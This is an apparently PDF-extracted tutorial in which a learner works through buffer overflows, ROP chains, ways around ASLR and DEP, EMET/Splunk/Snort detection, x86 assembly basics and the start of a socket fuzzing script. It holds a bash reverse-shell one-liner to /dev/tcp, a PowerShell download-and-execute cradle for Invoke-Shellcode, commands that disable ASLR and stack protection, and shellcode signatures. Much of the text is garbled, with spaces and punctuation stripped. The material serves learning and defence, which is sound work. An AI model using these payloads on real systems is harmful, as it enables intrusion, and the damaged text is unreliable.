David Maloney Sr Security Researcher at Rapid7 who had a great youtube video online that covered the concept at 1000 feet view
ThevideofirstmentionsamethoddevelopedgoingtoreturntolibcandthendiscussesReturnObjectProgrammingorROPchaining
So if stack execution is enabled wersquod expect that an attempt to execute from the stack will result in a terminated process and the cpu
will throw a segmentation fault In the return to lib C method instead of overwriting EIP with a JUMP ESP instruction like this PoC you
overwritetheInstructionPointerwithfunctionsfromwithinlibclibrary
arguments Another thing I learned is that libC is not required however it is just the most likely available and most common target in
linux In a libC example I found it was as simple as finding the memory location for system() and calling binbash which was executable
in memory As a counter defense some folks remove functions from libraries that can result in this type of chained execution Another
option which does not rely on calls to external executable functions is Return Object Programming or ROP chaining As mentioned in
the video your exploit must make use of instruction sequences available in the program yoursquore attacking or libraries linked to the
application aka ldquorop gadgetsrdquo When reading about ROP gadget I came across a line that explained there are intended sequences of
instructions and unintended sequences of instructions Hmmmmm why Because misspelling copy and pasting code hellip nope
somethingmoretrvialIrsquollre-usethisquotebecauseitwasafunpuzzle
ldquoWhat Unintended how come well if you look at a sentence like ldquothe articlerdquo the writer intended to say ldquothe articlerdquo but he didnrsquot
intendtohavethewordldquoheartrdquodidherdquo
Basically the instructions wersquore looking for end in RET aka ldquoReturnrdquo You chain a bunch of these assembly instructions together in your
payload until you get a command that can perform similar execution to the malware we used in our simple PoC You can find ROP
gadgets with the following in Immunity Debugger mona rop -m dll -cp nonull or in linux you can try simple text search for RET
instructionorROPgadgetToolonGithHuborVNsecuritycalledROPemeandorprocpidmaps
An example used in a linked exploit-db article is chaining a bunch of ROP gadgets together to basically execute
ldquoexecve(ldquobinshrdquo00)rdquo Execve executes the program pointed to by filename filename must be either a binary executable or a script
which in our case would be something like a variable equal to our reverse shell command binsh -i gtamp devtcp1270014444 0gtamp1
But when Windows or Linux has ASLR enabled libraries those binaries will have a randomized virtual memory space so it makes it
difficulttocallexecve()orsystem()
Another technique to bypass DEP makes use of native API that can change the execution flag on your memory spaces Examples Irsquove
found include VirtualAlloc HeapCreateVirtualProtect APIs If you can call upon these functions then you may be able to either create
a new executable space or change the flag for existing executable space However finding the memory addresses to these functions
andcallingthemappearstobeadifferentstory
httpsgithubcomJonathanSalwanROPgadget
httpswwwrapid7comresourcesrop-exploit-explained
httpswwwexploit-dbcomdocsenglish17131-linux-exploit-development-part-3---ret2libcpdf
httpswwwexploit-dbcomdocsenglish28479-return-oriented-programming-(rop-ftw)pdf
httpswwwexploit-dbcomdocsenglish44090-zero-day-zen-garden-windows-exploit-development---part-5-[return-oriented-programmi
ng-chains]pdf
ASLR(Addressspacelayoutrandomization)
Inourexampleyoumayhavenoticedthatwecoulddirectlypullamemoryaddressandre-usethataddressinorubufferoverflowPoCThisisbecausewedisabledASLRviaLinuxecho0|sudoteeprocsyskernelrandomize_va_spaceWindows[HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlSessionManagerMemoryManagement]ldquoMoveImagesrdquo=dword00000000Addressspacelayoutrandomization(ASLR)isamechanisminvolvedinreducingreliabilityofexploitationviamemorycorruptionattacksliketheBufferOverflowinthisPoCInourPoCyoumayhavenoticedwepulledthehardwarememorylocationsofourbinariesandthenpointedbacktothosehardwarememorylocationsIfyoucanobscurethosememorylocationssuchthatpredictingthemisincreasinglydifficultthenthebarrierentryinexploitwritingandexecutionbecomesharderForexampleweusedJMPESPmemorylocationtoslidebackintoourNOPSLEDASLRwouldrandomlyarrangesthevirtualmemoryaddressspacepositionsofkeydataareasofaprocessincludingthebaseoftheexecutableandthepositionsofthestackheapandlibrarieswhentheythebinaryisloadedIfwewanttojumpintoaROPgadgetorcallnativeAPIrsquosandDLLshowwouldwedoitifwecanrsquotaccuratelyupdatearegistrypointerwiththememorylocation
BypassingASLR
Admittedly this is a very deep rabbit hole Most write-ups and video tutorials require an expert level knowledge of assembly and
windowslinux software architecture beyond what I intended this write-up for Irsquoll do my best to boil what Irsquove learned down into digestible
chunksandhopefullythishelpsguidemyselfandotherfurtherstudies
NonASLRlinkedbinaries
It seems like that as Windows and Linux made the transition to ASLR in the early 2000rsquos that about a decade later they were left with
some non ASLR binaries for cross compatibility It could even be that some custom application you downloaded ported over something
that is specifically ASLR disabled I found an example of this in the following two articles hellip Attacking specific functions within non ASLR
enabled binaries appears to be an early method where if we could find a ldquouniversalrdquo DLL in windows or linux we may be able to call the
memory address of JMP ESP or ROP GADGET or similar from there The point is a combination of an insecure ASLR enabled program
with access or links to a non ASLR binary results in access instructions and predictable memory locations that can be used to bypass
ASLRandbeginaROPattack
httpswwwexploit-dbcomdocsenglish17504-defeating-data-execution-prevention-and-aslr-in-windows-xp-sp3pdf
httpswwwexploit-dbcomdocsenglish17914-bypassing-aslrdeppdf
PointerLeaksDanglingPointers
If you dig deep enough yoursquoll find some mention of modern attacks using dangling pointers or pointer leakers to bypass ASLR This isnrsquot
for the faint of heart and probably not for a newcomer like myself but I like rabbit holes A dangling pointer bug can be used to put code
into an application An object put into memory is allocated a space in heap and object functions are typically managed via a VFTABLE
which creates virtual pointers which reference the actual object in HEAP My understanding is that if you can overwrite the memory
object in HEAP with exact procesion at the exact time after it has be de-allocated from memory but before it has been destructed that
the object space can be overwritten with malicious code This is due to how allocation of heap is managed de-allocated freed and how
virtualfunctionsarereferencedviavirtualtables
httpswwwblackhatcompresentationsbh-usa-07AfekWhitepaperbh-usa-07-afek-WPpdf
httpswwwowasporgimagesffaOWASP_IL_8_Dangling_Pointerpdf
httpswwwrapid7comresourceswhy-you-should-be-using-emet
HEAPSprayswithASLRdisabledVirtualAlloc()inWindows
If you canrsquot find memory location of instructions in ASLR protected binaries and libraries it appears you can spray the heap and create
write chunks to memory of NOPs and malware You would likely still need to bypass DEP so ROP chains still apply however you can
either look for non ASLR binary to ROP or spray ROP gadgets in the blocks passed to HEAP Spraying Heap with memory allocated by
VirtualAlloc() appears to have been a successful method by bypass ASLR because VirtualAlloc() was not ASLR protected but this
seemslikejustplainluck
httpswwwcorelanbeindexphp20111231exploit-writing-tutorial-part-11-heap-spraying-demystified
httpswwwblackhatcompresentationsbh-europe-07SotirovPresentationbh-eu-07-sotirov-apr19pdf
BlueteamEngineeringforpostBufferOverflow
For my own general curiosity I wanted to end this PoC with some notes on how detect a Buffer Overflow attack My intent is to just
learn and see where it takes me As a newcomer maybe this will help paint a better picture of cyber-security as a whole Because BOrsquos
are memory attacks it can be difficult to detect unless you have a low level program monitoring for Canary issues NX issues
SEGVFAULT x90rsquos ROPs etc Windows has offered EMET historically and more recently offered an IPSIDS in Windows Defender to
Enterprise There are also some ldquoNext Genrdquo IDSIPS that install in kernel space which have the logic to look for such events As I
thoughtthroughthisIlumpedthedetectionintotwobuckets
1 DetectingFailedBufferOverflowAttempts
2 DetectingSuccessfullyBufferOverflowAttempts
DetectingFailedBufferOverAttemptsinWindows
If you want to hunt attackers who attempt buffer overflow you can turn to the logs For examples EMET (Windows ASLRDEP) events
are logged as a Windows event source called EMET More modern Windows Defender Exploit Guard follows a similar pattern as the
oneIrsquomgoingtooutlineEMETDefenderlogscanbefoundintheWindowsApplicationlog
For EMET there are three levels Information Warning and Error Information messages are used for logging usual operation such as
the EMET Notifier starting Warning messages are used when EMET settings change Error messages are used for logging cases
whereEMETstoppedanapplicationwithoneofitsmitigationswhichmeansanactiveattackhasbeenblocked
EMET and Defender logs can be sent to a central log collection server or from the local machine Irsquoll refer to an example where their
sent to a central log collector parsed then sent onto your SIEM Here is a brief example of an a SPLUNK integration on Windows but a
similarmodelcouldbedeployedwithSyslogSyslogServersandanELKStackactingasaSIEM
Yoursquoll need to ensure your local endpoints are configured to log EMET via GPO Windows Event Collector service is enabled and a
collection server is deployed Here is an example of a local local log policy setting to push down to the endpoints being monitored via
GPOetc
ltQueryListgt
ltQueryId=0Path=Applicationgt
ltSelectPath=Applicationgt[System[Provider[Name=EMET]and(Level=2)]]ltSelectgt
ltQuerygt
ltQueryListgt
To analyze the EMET data in Splunk yoursquoll need to install the Splunk Universal Forwarder on the central log collection server and
configure it to send logs from the collectorsyslog server to a Splunk indexer Splunk Indexer is just a fancy way to say a network service
to send your logs to which has some special logic to parser filter transform and write your logs in a unique format to Splunk based on
somepredefinedSplunkpolicy
Yoursquoll may need to set a filter on the central log server to parse the events for the EMET alerts before sending them on Below is an
exampleoftheWindowseventssubscriptionfilterRememberthedefaultlocationofforwardedlogeventsistheForwardedEventslog
The following is a Splunk sample configurations that can be used in the Splunk inputsconf file on the central log collection server
BasicallythispolicysayswhichlogscangetsentontotheSIEM
[WinEventLogForwardedEvents]
disabled=0
renderXml=1
evt_resolve_ad_obj=1
The above policy config tells the Splunk Universal Forwarder to monitor the Forwarded Events log on the log collection server and to
and send the events in XML format allows for facilitated extraction of information in Splunk to aid in the creation of useful Splunk
queries
SampleEMETEvent
EMETversion55587131892
EMETdetectedEAF+mitigationandwillclosetheapplicationIEXPLOREEXE
EAF+checkfailed
ApplicationCProgramFiles(x86)InternetExplorerIEXPLOREEXE
UserNameDOMAINuser
SessionID1
PID0x1348(4936)
TID0xF90(3984)
ModuleSOMEDLLdll
ModBase0x11630000
ModAddress0x11642E99
MemAddress0x76F501A4
Your Blue Team can configure an alert based on these results Consider correlating the alert with internal ranking of the assets value to
prioritize the response For example an alert like this on a PCI system or system storing your unreleased Intellectual Property may
need immediate action compared to a non production server being pen tested Although a non production server sounds like a nice
beachheadtomaintainafoothold
httpsresourcesseicmueduasset_filesTechnicalNote2016_004_001_466182pdf
httpsblogstechnetmicrosoftcomthedutchguy20170124windows-event-forwarding-to-a-workgroup-collector-server
DetectingSuccessfulBufferOverAttempts
The Blue Team philosophy is to assume your compromise and look for Indicators of Compromise In this model we assume the attacker
has successfully launched a buffer overflow and gained command and control over the asset Which means our mitigations have failed
which they will In my mind there are two techniques Irsquod lie to cover Irsquom sure there are more but as a newcomer I think these two
approachespaintsasolidpicture
1) Networkbasedsignaturedetection(Thismayalsocatchunsuccessfulattempts)
2) Hostbasedsignaturedetection
NetworkBasedDetection
Letrsquos consider the basic reverse shell we created with MSFVENOM from metasploit and packched into our malware variable in the
clientpyscriptWhenthisattackoccursithasafewuniquecharacteristicsinsidethenetworkcommunication
1 EncodedHEXpayloadmalwarewithintheclientattack
2 Abunchofx90rsquoswithintheclientattack
3 possiblybinbashorotheruniquestringssentbackinthereverseshellasSTIOtotheattackersterminal
If you had an inline or passive IDS which had access to the buffer overflow network packets a Blue Teams will likely have
SNORTSURICATA rules which alert on signatures that match our payload This is because the commands to gain a reverse shell from
bash sh python etc are universally known Irsquove included a few examples of emerging shell_code SNORT rules that look for metasploit
generatedBSDshellcode
alert ip $EXTERNAL_NET any -gt $HOME_NET any (msgET SHELLCODE METASPLOIT BSD Reverse shell (Not Encoded 2)
content|6a 61 58 99 52 42 52 42 52 68| fast_patternonly referenceurldocemergingthreatsnet2010416
classtypeshellcode-detect sid2010416 rev4 metadataaffected_product Any attack_target Client_and_Server deployment
Perimeter deployment Internet deployment Internal deployment Datacenter tag Metasploit signature_severity Critical created_at
2010_07_30updated_at2016_07_01)
alert ip $EXTERNAL_NET any -gt $HOME_NET any (msgET SHELLCODE METASPLOIT BSD Reverse shell (Not Encoded 3)
content|89 e1 6a 10 51 50 51 97 6a 62 58 cd 80 6a 02 59 b0 5a 51 57| fast_patternonly
referenceurldocemergingthreatsnet2010417 classtypeshellcode-detect sid2010417 rev4 metadataaffected_product Any
attack_target Client_and_Server deployment Perimeter deployment Internet deployment Internal deployment Datacenter tag
Metasploitsignature_severityCriticalcreated_at2010_07_30updated_at2016_07_01)
Modern attacks occur over TLSSSL over tcp communications these days which means detecting our payload would be difficult to nearly
impossible Blue-teams may counter encrypted communication with TLS interception and packet inspection To further evade TLS
interception crypters encoders custom encoded code or polymorphic code would need to be written Irsquove even heard of padding the
payloadsolargethattherulesareignoredduetoperformanceaswellSneaky
HostBasedDetection
In this model you assume the target has already been breached Maybe EMET was disabled or the attack was highly sophisticated and
made it past your defenses Whatever the case the attacker now has command and control over your machine thanks to a Buffer
OverflowLuckilyattackerpatternsofbehaviorarerelativelypredictableWhatdoesthatmean
Consideriftheactivedirectorylogsshowdirectoryenumerationssuchas
netviewdomain
netuserdomain
netaccountsdomain
Considerifthelocalhostlogsshowlocalaseriesofenumerationscommandssuchas
systeminfo
netlocalgroupldquoAdministratorsrdquo
uname-a
catprocissue
Considermoreadvancedpost-exploitattemptstobypassdetectionviaPowerShell
start-Process -FilePath nssmexe -ArgumentList lsquoinstall MaliciousService ldquoCWindowsSystem32WindowsPowerShellv10powershellexerdquo ldquo-command ldquoamp CScriptsMonitorps1 Start-Monitoring rdquordquo lsquo -NoNewWindow-Wait
powershellexe-execbypassndashnoprofilendashciex(New-ObjectNetWebClient)DownloadString
(http10022108081CodeExecutionInvoke-Shellcodeps1)
Similar to the EMET example local logs can be sent via Windows Collectors andor Syslog and forwarded to your SIEM For PowerShell attack Windows has added additional logging capabilities to memory based powershell execution but if the logs are disabled or omitted then detection may be thwarted Irsquove overly simplified a highly sophisticated topic but the point to drive home is that you assume a zero-daywillsucceedandlookforIoCrsquosthatshowenumerationprivilegeescalationetcetc
ENJOY
ReferencesandHonorableMentions
GeneralReferencehttpsenwikipediaorgwikiAddress_space_layout_randomizationhttpsenwikipediaorgwikiExecutable_space_protectionWindowshttpsenwikipediaorgwikiReturn-oriented_programminghttpsenwikipediaorgwikiJust-in-time_compilationhttpsenwikipediaorgwikiHeap_sprayinghttpsenwikipediaorgwikiDangling_pointerSecurity_holes_involving_dangling_pointersTechnicalResourceshttpsresourcesseicmueduasset_filesTechnicalNote2016_004_001_466182pdfhttpsmindmajixcomsplunkmonitor-windows-event-log-datahttpsgithubcomjpalancoalienvault-ossimblobmastersnort-rules-default-openrules290emergingrulesemerging-shellcoderuleshttpswwwsplunkcomblog20170706hellsbells-lets-hunt-powershellshtmlhttpssciencerpieducomputer-sciencehttpresearchcswiscedumistpresentationskupsch_miller_secse08pdf
httpsresourcesseicmueduasset_filesTechnicalNote2016_004_001_466182pdfhttpsblogstechnetmicrosoftcomthedutchguy20170124windows-event-forwarding-to-a-workgroup-collector-serverhttpsgithubcomJonathanSalwanROPgadgethttpswwwrapid7comresourcesrop-exploit-explainedhttpswwwexploit-dbcomdocsenglish17131-linux-exploit-development-part-3---ret2libcpdfhttpswwwexploit-dbcomdocsenglish28479-return-oriented-programming-(rop-ftw)pdfhttpswwwexploit-dbcomdocsenglish44090-zero-day-zen-garden-windows-exploit-development---part-5-[return-oriented-programming-chains]pdfhttpswwwexploit-dbcomdocsenglish17504-defeating-data-execution-prevention-and-aslr-in-windows-xp-sp3pdfhttpswwwexploit-dbcomdocsenglish17914-bypassing-aslrdeppdfhttpswwwblackhatcompresentationsbh-usa-07AfekWhitepaperbh-usa-07-afek-WPpdfhttpswwwowasporgimagesffaOWASP_IL_8_Dangling_Pointerpdfhttpswwwrapid7comresourceswhy-you-should-be-using-emethttpswwwcorelanbeindexphp20111231exploit-writing-tutorial-part-11-heap-spraying-demystifiedhttpswwwblackhatcompresentationsbh-europe-07SotirovPresentationbh-eu-07-sotirov-apr19pdfComputerphilevideosandtheirAuthorsProgrammingandSoftwareArchitecturehttpswwwseasupennedu~cit595cit595s10contentshtmlhttpswwwlearn-corghttpsgodboltorgLinuxManPagesandtheirAuthors
MemoryArchitecture
RegistersampldquoTheStackrdquohellipakascarystuffYoulikelyalreadyknowthatcomputerprocessoroperationsmostlyinvolveprocessingdatathatyouprovideitHowevertoprocessyourdatathecomputerneedstostoredataandaccessitDatacanbestoredondiskstoredinmemoryorstoredinCPUmemoryforexampleHoweverreadingdatadiskfromRAMandalltheIOassociatedwithgettingdataintomemoryslowsdowntheprocessingAlltheoperationstomovedataroundbasicallyinvolvescomplicatedprocessesofsendingthedatarequestacrossthecomputerrsquoscontrolbusandintothememorystorageunit(MSU)andgettingthedatathroughthesamechannelTospeeduptheprocessoroperationstheprocessorisbuiltwithsomeinternalmemorystoragelocationscalledregistersRegistersstoredynamicvariablesoperationstoperformcalculationsandinstructionstotelltheCPUwhattodonextThisisldquoTheStackrdquoldquoTheregistersstoredataelementsforprocessingwithouthavingtoaccessthememoryAlimitednumberofregistersarebuiltintotheprocessorchiprdquoBasicallyregistersarewhereyouputimportantstuffthatneedstobeprocessedbytheCPUWhatdoesthatmeanAddingsubtractingorwhateveryouneedtodotocreateordisplayldquostuffrdquoinyourprogramLetrsquosdigintothemessy
detailsitwontbefunnyyoursquollneedtore-readandafterreadingafewtimesdonrsquotbeafraidthatyoudonrsquotrememberitallJustbustopenadebuggerandstarttinkeringaroundProcessorRegistersWersquoregoingtofocuson32bitoperatingsystemThereareten32-bitandsix16-bitprocessorregistersinIA-32architectureTheregistersaregroupedintothreecategoriesminus
Generalregisters Controlregisters Segmentregisters
Thegeneralregistersarefurtherdividedintothefollowinggroups
Dataregisters Pointerregisters Indexregisters DataRegisters
DataRegistersFour32-bitdataregistersareusedforarithmeticlogicalandotheroperationsThese32-bitregisterscanbeusedinthreewaysRememberXfordataregardlessof32or64bit
1) Ascomplete32-bitdataregistersEAXEBXECXEDX2) Lowerhalvesofthe32-bitregisterscanbeusedasfour16-bitdataregistersAXBXCXandDX3) Lowerandhigherhalvesoftheabove-mentionedfour16-bitregisterscanbeusedaseight8-bitdataregisters
AHALBHBLCHCLDHandDL
Someofthesedataregistershavespecificuseinarithmeticaloperations
AX is the primary accumulator it is used in inputoutput and most arithmetic instructions For example in
multiplicationoperationoneoperandisstoredinEAXorAXorALregisteraccordingtothesizeoftheoperand
BXisknownasthebaseregisterasitcouldbeusedinindexedaddressing
CXisknownasthecountregisterastheECXCXregistersstoretheloopcountiniterativeoperations
DX is known as the data register It is also used in inputoutput operations It is also used with AX register along with
DXformultiplyanddivideoperationsinvolvinglargevalues
PointRegisters(IPissuperimportantreadaboutitoverandoveragain)The pointer registers are 32-bit EIP ESP and EBP registers and corresponding 16-bit right portions IP SP and BP
Therearethreecategoriesofpointerregisters
Instruction Pointer (IP) minus The 16-bit IP register stores the offset address of the next instruction to be
executed IP in association with the CS register (as CSIP) gives the complete address of the current
instruction in the code segment NOTES IP will control the next instruction executed hellip like say our
malware
Stack Pointer (SP) minus The 16-bit SP register provides the offset value within the program stack SP in
association with the SS register (SSSP) refers to be current position of data or address within the program
stack NOTES Might give you a reference point to look higher in memory to find our malware in
bufferNOPsledaddresses
Base Pointer (BP) minus The 16-bit BP register mainly helps in referencing the parameter variables passed to a
subroutine The address in SS register is combined with the offset in BP to get the location of the parameter
BP can also be combined with DI and SI as base register for special addressing NOTES Base pointer
tracks the memory location between your Dynamic Variables and registers and your buffer etc BP
isagoodreferencepointforfindingsmemorylocationsupintoregistersordownintoyourbuffer
Therersquos also a lot of talk about assembly At first glance when assembly is in the debugger it looks really complicated
and scary Quite frankly I still havent mastered it but while you learn there are a few core concepts and operational
codestostartwiththatmostoverflowstutorialsseemtoincludehellip
Irsquom going to list what might seem like some scary and complicated stuff but read it and then look at the pictures
following it then go back and reread this section againhellipIf youre not ready jump into the picture directly at the end
andcomebacktoreading
ControlFlowInstructions
The x86 processor maintains an instruction pointer (IP) register that is a 32-bit value indicating the location in memory where the
currentinstructionstarts
Normally it increments to point to the next instruction in memory begins after execution an instruction The IP register cannot be
manipulateddirectly(Butitcanbeoverwritten)butisupdatedimplicitlybyprovidedcontrolflowinstructions
We use the notation ltlabelgt to refer to labeled locations in the program text Labels can be inserted anywhere in x86 assembly code
textbyenteringalabelnamefollowedbyacolonForexample
movesi[ebp+8]
beginxorecxecx
moveax[esi]
The second instruction in this code fragment is labeled begin Elsewhere in the code we can refer to the memory location that this
instruction is located at in memory using the more convenient symbolic name begin This label is just a convenient way of expressing
thelocationinsteadofits32-bitvalue
jmpmdashJump
Transfers program control flow to the instruction at the memory location indicated by the operand You might use this to ldquoJumprdquo into
amemorylocationthatishostingthemalware
Syntax
jmpltlabelgt
Example
jmpbeginmdashJumptotheinstructionlabeledbegin
callretmdashSubroutinecallandreturn
These instructions implement a subroutine call and return The call instruction first pushes the current code location onto the
hardware supported stack in memory (see the push instruction for details) and then performs an unconditional jump to the code
location indicated by the label operand Unlike the simple jump instructions the call instruction saves the location to return to when
thesubroutinecompletes
The ret instruction implements a subroutine return mechanism This instruction first pops a code location off the hardware supported
in-memory stack (see the pop instruction for details) It then performs an unconditional jump to the retrieved code location A series of
instructionsthatendinRETareoftenchainedtogethertobypassstackprotectionswhichyouwillfindoutlater
Syntax
callltlabelgt
ret
DataMovementInstructions
movmdashMove(Opcodes88898A8B8C8E)
The mov instruction copies the data item referred to by its second operand (ie register contents memory contents or a constant value)
into the location referred to by its first operand (ie a register or memory) While register-to-register moves are possible direct
memory-to-memory moves are not In cases where memory transfers are desired the source memory contents must first be loaded
intoaregisterthencanbestoredtothedestinationmemoryaddress
Syntax
movltreggtltreggt
movltreggtltmemgt
movltmemgtltreggt
movltreggtltconstgt
movltmemgtltconstgt
Examples
moveaxebxmdashcopythevalueinebxintoeax
movbyteptr[var]5mdashstorethevalue5intothebyteatlocationvar
pushmdashPushstack(OpcodesFF898A8B8C8E)
The push instruction places its operand onto the top of the hardware supported stack in memory Specifically push first decrements
ESP by 4 then places its operand into the contents of the 32-bit location at address [ESP] ESP (the stack pointer) is decremented by
pushsincethex86stackgrowsdown-iethestackgrowsfromhighaddressestoloweraddresses
Syntax
pushltreg32gt
pushltmemgt
pushltcon32gt
Examples
pusheaxmdashpusheaxonthestack
push[var]mdashpushthe4bytesataddressvarontothestack
popmdashPopstack
The pop instruction removes the 4-byte data element from the top of the hardware-supported stack into the specified operand (ie
register or memory location) It first moves the 4 bytes located at memory location [SP] into the specified register or memory location
andthenincrementsSPby4
Syntax
popltreg32gt
popltmemgt
Examples
popedimdashpopthetopelementofthestackintoEDI
pop[ebx]mdashpopthetopelementofthestackintomemoryatthefourbytesstartingatlocationEBX
leamdashLoadeffectiveaddress
The lea instruction places the address specified by its second operand into the register specified by its first operand Note the
contents of the memory location are not loaded only the effective address is computed and placed into the register This is useful for
obtainingapointerintoamemoryregion
Syntax
lealtreg32gtltmemgt
Examples
leaedi[ebx+4esi]mdashthequantityEBX+4ESIisplacedinEDI
leaeax[var]mdashthevalueinvarisplacedinEAX
leaeax[val]mdashthevaluevalisplacedinEAX
In this write up and many blogs yoursquoll pay close attention to IP ESP and JMP in the vulnerable program However the other assembly
commands are good for understanding generally how higher level code gets executed and for other potential overflow techniques So
letrsquos summarize all this into a simple picture I found this while watching a Youtube video by ComputerPhile I thought it summarized
everythingquitenicely
On the left hand side you have the storage location we discussed previously For example you have you ldquoStackrdquo and ldquoHeaprdquo called out
The right hand of this picture basically breaking down the stack into some of the locations that get put into the stack Say a math
function parameters (ie your dynamic variables in code) your return address or Instruction Pointer IP etc etc Okay so to a noob
maybethisdoesntmeanalotsoletrsquosmoveontosomemorevisualexamplesfirstbeforewetalkaboutanymoreldquocoderdquo
SowehaveabufferandsomeotherCPUbasedmemoryspacesforthoseregisterslocationsAllthatassemblycodeishelpingusadd
thingsintotheregistrylocationjumptonewfunctionsincodetakethingsoutanddomathematicaloperationsforyourfunctionsinthe
higherlevelcode
IfyoureadalongotherpartsoftheregistryareusedforstoringpointerstothenextfunctionprogramordatainourbufferetcInthis
pictureifyousendldquoToomuchdatardquototheprogramandyourprogramhasnoboundscheckingthenthebuffercanoverflowyour
instructionpointerIfyoucanoverwriteaninstructionpointer(akaIPEIP)withthememorylocationofyourmalwarethenyoucantrick
theprogramintoexecutingyourmalwarewiththeprogramspermissions
OverflowtheBufferCrashintotheStackWriteaReturnAddressintoEIPthatpointsbacktoyourmalware
LetrsquosbreakdownthevulnerableservercodeinAssemblytobetterunderstandwhatrsquoshappeningwhenwefuzztheapplicationand
overflowwithabunchofArsquosandBrsquosTypeobjdump-dVulnerableServer
1 TheaddressofvulnReadstartsatmemoryaddress78dinhex
2 x414inhexor1044indecimalbytesarereservedforthelocalvariablesBecauseofincludeBUFFER_SIZE=1024alarge
isallocatedasalocalvariable
791 81ec14040000 sub$0x414esp
3 Theaddressofthebufferstarts0x410inhexor1040indecimalbytesfrombase-pointerebpThismeansthat1040bytesare
reservedforbufferbutrememberthatBUFFER_SIZE=1024
8d85f0fbffff lea-0x410(ebp)eax
4 Memorylocationsseemtobeaddingandsubtractingbasedonspaceneededtostoredifferentoperationsandmemory
locationsUntilfinally
5 Later-0x40c(ebp)eaxor1036arereservedandatmemorylocation7e6weseeacallto550ltreadpltgt
defineBUFFER_SIZE1024
defineHEADER_SIZE4
EIP(ReturnAddresstonextfunction)
EBPofVuln_Read(BasePointer)
to_read
buffer
read_bytes
Lastvariable(StackPointer)
So1040byteofmemorywasallocatedandthestackgrowsdownfromEBPSomeassemblyoperationsoccurandvariablesarestored
andpointersandupdatedandthememorygrowsandshrinksWithoutbeinganassemblygeniusweseethespecificfunction
(readplt)withthevulnerabilitycalledandcaninferthatthebufferallocationbeforethatisusedforthefunctioncallInthiscase1036
availablebytesLetrsquosbreakthatdown
1036bytesforthebuffer+4bytesforEBP+4bytesforEIP(InstructionPointer)
AnotherimportantpieceofthepuzzleistoldquoFindrdquothecodethatyoujustputintothebufferInourexamplethatwillbeabunchofArsquos
thatweuseduringfuzzingHoweverasweprogresstheArsquoswillgetreplacedwithmalwarebecauseabunchofArsquosarentthatuseful
outsidethecontextoflearning
Afterwefindthecodewewanttobesurethatthecomputerwillldquomove-alongrdquountilitgetstowhateverdataweputintothebufferThe
reasonforthisisbecauseknowingldquoexactlyrdquowherethecomputerputsourArsquosBrsquosandCrsquosishardWemightoverwriteallthoseldquoArsquosrdquo
ldquoBrsquosrdquoandldquoCrsquosrdquobutfindingtheexactmemorylocationthecomputerdecidestoputtheminisnotalwaysviablebecausememory
locationsmovearoundabitPluswewanttomakesurethatthecomputerdoesnrsquotexitorterminateexecutionbeforeitgetstotheBrsquosor
laterourldquomalwarerdquo
Themostbasictechniquetoaddressthisiswithx90NOP(nooperation)WereplaceourArsquos(x41)withx90andthattellsthe
computertojustldquomovealongrdquountilyougettothenextinstructionAsanoobitgivesusabiglandingpadtofindLookbelowatthe
pictureaboveandyoursquollseeanarrowthatpointsbacktotheldquoBufferrdquowithabunchofx90sThismeanswewillputaninstructioninto
IPEIPthatreturnsthecomputerbacktothebufferandtheRETURNwilllandintoabunchofNOPSandthenslidedownintotheBrsquosin
ourprogram
Thefollowingtwopicturesreallyputeverythingintoperspectiveformeignorethebuffersizenumbers
EnoughtheoryshowmeTheCode
DisablingDEPASLR
YoumustdisableASLRandDEPonalabmachinetolearnthebasicbufferoverflow
ASLR-Linux
echo0|sudoteeprocsyskernelrandomize_va_spaceDEPPassedascommandlineargumentinMakefileoratgcccommandline
-fstack-protector-Waexecstack
Onax86linuxarchitecturewithDEPASLRdisabledhellipLetrsquosgiveitashotfirstwersquollrunthevulnerableserverPoCwithinGDB
compilesthevulnerableCprogramwithanumberofprotectionsremovedDisabling-fstack-protectorremovessomemodernprotectionagainstoverwritingtheinstructionpointerLetrsquosdeferuntillaterexecstackwillmarkbinaryorsharedlibraryasrequiringexecutablestackMakefileallor
gcc-gvulnServerc-fno-stack-protector-z-Waexecstack-oServergdbServer1337
OkaysothevulnerableTCPserverisloadedintoGDBGDBisadebuggertogiveasaccessintothememoryregistersassemblyetcetcIfyourefamiliarwithwebdevelopmentlikeIwastheconceptofsettingbreakpointsatdifferentmomentsinthecodewasveryfamiliarItseemsintimidatingbutareallygoodcheatsheetishere
GDBCheatSheet
httpswwwcheatographycomfristlecheat-sheetsclosed-source-debugging-with-gdbFromtheterminaltype
run1337
NowitrsquostimetoldquoFuzzrdquoWealreadywentthroughsometheoryandrationalebeforebutitwasnrsquotdescribedinandend-to-endtypeofcontextArefresherhellipldquoFuzztestingorFuzzingisaBlackBoxsoftwaretestingtechniquewhichbasicallyconsistsinfindingimplementationbugsusingmalformedsemi-malformeddatainjectioninanautomatedfashionrdquoldquoYoucaneitherthrowabunchofgarbageattheprogramoryoucanunderstandwhatthecodeisexpectingrdquoIfyourememberIprovidedsomesimplecommandstoillustratetheexampleForthisapplicationwecandoitcompletelyhandsonpython-cprintx41overflowpython-cprintx41[offset]+x42[4]+x43[Overflow-offset-4]python-cprintx90[offset]+InstructionPointer[4]+x90[Overflow-offset-4]Sowecouldapproachthisacoupleofways
1 Gobackintothereversedengineeredbinariesandtrytodeterminewhatourbuffersizeisthroughthesourcecodeandassembly
2 RuntheprogramthroughthrewGDBandsetbreakpointsandfindops-codethatindicateBUFFERvariablesize3 Writeaniterativefuzzingscripttofindtheoverflowpoint
WritingthefuzzingscriptwasthebestlearningexerciseformeSowersquoregoingtocoverthatherequicklyLetrsquosstartwithgeneratingabunchofdatawiththecommandbelowIrsquomgoingtojustincreasethenumberofAsby10threetimes Examplepython-cprintx41overflowpython-cprintx4110python-cprintx4120python-cprintx4130
AllwersquoredoingiscreatingabunchofArsquosWedothisbecausewedonrsquotknowthemagicnumberofbyteswhereourattackpayloadwillresultinanoverflowThatrsquosthefuzzWewillneedtomodifythebasicpythonfuzzingexampletofittheuniqueldquopre-fixrdquothatisbuiltintothevulnerableserverlogicWewillreusetheBLACKpartsofthecodeslogicbelowandcopyintotheclientpyscriptusrbinpythonimportsocketCreateanarrayofbufferswithArsquosfrom1to5900usingincrementsof200Incrementsof200arearbitraryyoucouldusen++ifyouwanttowaitlongerWhateverbuffer=[A]counter=100whilelen(buffer)lt=30
bufferappend(Acounter)counter=counter+200
forstringinbufferprintFuzzingPASSwithsbyteslen(string)s=socketsocket(socketAF_INETsocketSOCK_STREAM)connect=sconnect((101110167110))srecv(1024)ssend(USERtestrn)srecv(1024)
